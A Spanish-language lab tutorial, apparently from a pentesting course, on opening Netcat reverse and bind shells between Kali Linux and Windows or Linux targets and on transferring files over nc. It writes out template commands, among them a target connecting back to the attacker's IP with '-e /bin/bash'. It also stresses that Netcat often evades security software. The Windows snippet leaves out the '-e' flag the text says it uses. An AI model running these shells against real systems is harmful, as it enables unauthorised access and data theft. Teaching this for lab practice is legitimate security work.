Docly Child

Netcat Shells: Windows – Linux

Tabla de contenidos:

Netcat Shells

Para llevar a cabo algunas tareas de reconocimiento en Sistemas Operativos (SO) Windows y Linux se han empleado shells obtenidas con la herramienta Netcat. Netcat ya ha sido presentada para realizar algunos ejemplos prácticos junto a Metasploit. En los ejemplos de reconocimiento se ha mostrado como el target es una máquina con alguna versión del SO en cuestión, siendo la máquina que obtiene la shell Kali Linux (atacante). 

Como ya se ha destacado en otro artículo, hay dos formas de obtener una shell a través de la ejecución de un payload (carga útil) destinado a ello. Estas formas son bind y reverse. En el artículo dedicado a ello a través de los payloads del framework Metasploit hay una amplia explicación con ejemplos prácticos. Además, a la hora de emplear Netcat entre diferentes SO conviene pensar en el tipo de intérprete de consola de línea de comandos (shell) a obtener, que normalmente será la del SO operativo del target (bash, zsh,… en Linux o CMD en Windows). El tipo de shell a obtener se informa con el parámetro -e como se verá a continuación.

Una de las ventajas que presenta Netcat respecto a otros métodos para obtener shells que implican el uso de software con fines deliberadamente maliciosos (exploits, payloads, etc.), es que a veces resulta un software casi neutro y en ocasiones su uso no es considerado como una amenaza potencial por el SO y otros sistemas de seguridad del sistema. No obstante, el uso de Netcat no está exento de riesgos. Por ejemplo existe la posibilidad de que aparezca algún mensaje de advertencia al usuario target indicando que se necesitan permisos para realizar determinada acción que se está ejecutando en la shell.

4.8.3.1. Netcat Kali Linux - Windows

Para realizar las prácticas es conveniente que cuando el target es un Windows, este disponga de la instalación del software Netcat, pues no viene de forma nativa con el SO (a diferencia de los Linux). Suponiendo un entorno de laboratorio, este se puede obtener a través de la web oficial: https://nmap.org/dist/nmap-7.94-setup.exe. Existen prácticas para descargar un ejecutable con Netcat en un Windows y así obtener segundas shells u obtener persistencia en un proceso de postexplotación, pero no es el objetivo de este punto mostrar esto. Conviene destacar también que mientras que en Linux la instrucción para ejecutar Netcat es nc, en Windows es ncat. Como ya se ha indicado arriba, hay diferentes formas de obtener una shell:

Reverse Shell Windows

En este caso es Kali Linux quien dispone de un puerto en escucha con Netcat y es el target quien realiza la petición. Como ya se ha indicado en el artículo de bind vs reverse, en la mayoría de ocasiones es preferible obtener una shell inversa (reverse) por ser el método más eficiente ante el Firewall y otros sistemas de seguridad. 

Netcat reverse shell Windows

A continuación se muestra una imagen con el resultado de una obtención de shell en formato reverse. Como puede observarse en las instrucciones, en Windows se ha tenido que indicar a través del parámetro -e el tipo de intérprete para la shell.  El formato de las instrucciones sería (en el orden mostrado):

				
					#1. En Kali Linux
nc -lvp  <puerto>
#2. En Windows
ncat <kali_ip> <kali_puerto>

				
			
Ejemplo reverse shell Netcat Windows

Bind Shell Windows

En el  caso de querer obtener una shell de tipo bind, el orden de interacción se invierte, siendo en este caso el target quien inicia el servicio de Netcat en un puerto, mientras que Kali realiza la conexión hacia este para obtener la shell. Son prácticamente los mismos comandos pero invertidos y con el formato que se indica en la imagen siguiente:

Netcat bind shell Windows

4.8.3.2. Netcat Kali Linux – Linux

a obtención de una shell con Netcat entre Kali Linux y otro sistema con alguna distribución basada en Linux (Ubuntu, Debian, etc.) es igual a como se ha visto cuando el target es un Windows. Ya sea una shell reverse o bind, los comandos son iguales con la salvedad de que en este caso en el parámetro -e hay que informar como consola de línea de comandos a bash, tal y como se muestra en la imagen de abajo (-e /bin/bash). 

Una ventaja sustancial cuando el target es alguna distribución de Linux es que en la mayoría de estos entornos de SO el software de Netcat ya viene preinstalado

Formas Netcat shell entre Kali Linux y otro Linux

4.8.3.3. Netcat: Descarga de ficheros entre Kali Linux y target

Otra función que permite Netcat es el intercambio de ficheros entre dos dispositivos. No obstante, la descarga de ficheros no se puede realizar a través de la conexión establecida entre ambos dispositivos con la shell. La descarga de un fichero de un dispositivo a otro se produce en una sola operación. Otras cuestiones a tener en cuenta (más abajo hay un ejemplo): 

  • La descarga del fichero en el que recibe se va a producir en el directorio desde donde se haya iniciado la shell. El emisor del fichero puede indicar el fichero que va a enviar a través de su nombre desde una ruta absoluta o relativa.
  • Si el emisor es un Linux, el usuario debe tener suficientes permisos sobre el fichero para realizar la operación. (recomendable gestionar previamente con la instrucción sudo chmod -R 777 <fichero>). Si el fichero contiene código e instrucciones que el SO receptor interpreta como malicioso se debe tener en cuenta que los sistemas de seguridad del receptor lo pueden interceptar. 

No es necesario especificar ningún parámetro para el tipo de shell (-e), por lo tanto es indiferente el SO de los equipos que se van a intercambiar información en ficheros. La transferencia se realiza siempre de forma inversa: el  target es quien inicia el servicio con Netcat y el otro dispositivo realiza la transferencia. Conviene destacar que el target (receptor) debe indicar en la instrucción de inicio que se va recibir un fichero con la secuencia > nombre_archivo. Los comandos a utilizar serían:

				
					#1. En el target
nc/ncat -lvp  [puerto] > fichero
#2. En Kali Linux
nc/ncat [ip_destino] [kali_puerto] < fichero_ruta

				
			
Esquema intercambio de fichero con Netcat

Como ya se ha comentado anteriormente, la transferencia de un archivo se produce en un solo momento y posteriormente se debería terminar la conexión. Este puede parecer contraproducente cuando normalmente el sentido de estas prácticas es mantener activa una shell. No obstante, siempre es posible que una vez obtenida la shell, indicar con una instrucción el realizar una nueva conexión entrante en el target con Netcat indicando que se va a recibir un fichero, y posteriormente desde el atacante abrir una ventana paralela en el intérprete de comandos y realizar la transferencia. Una vez realizada la transferencia, se puede seguir operando con la shell inicial, tal y como se muestra en la siguiente pantalla (ver secuencia 1, 2 y 3)

Ejemplo transferencia de archivos con Netcat

En el ejemplo mostrado, el target era un Windows cuyo servicio de Netcat operaba en el directorio Documents del usuario. Como se muestra en la imagen siguiente, después de realizar las operaciones indicadas, el fichero ya se ha descargado y ahora podría ser utilizado por el atacante. Además, se mantiene la sesión de la shell entre ambos dispositivos (punto 3 de la imagen).

Resultado operación transferencia de archivos con Netcat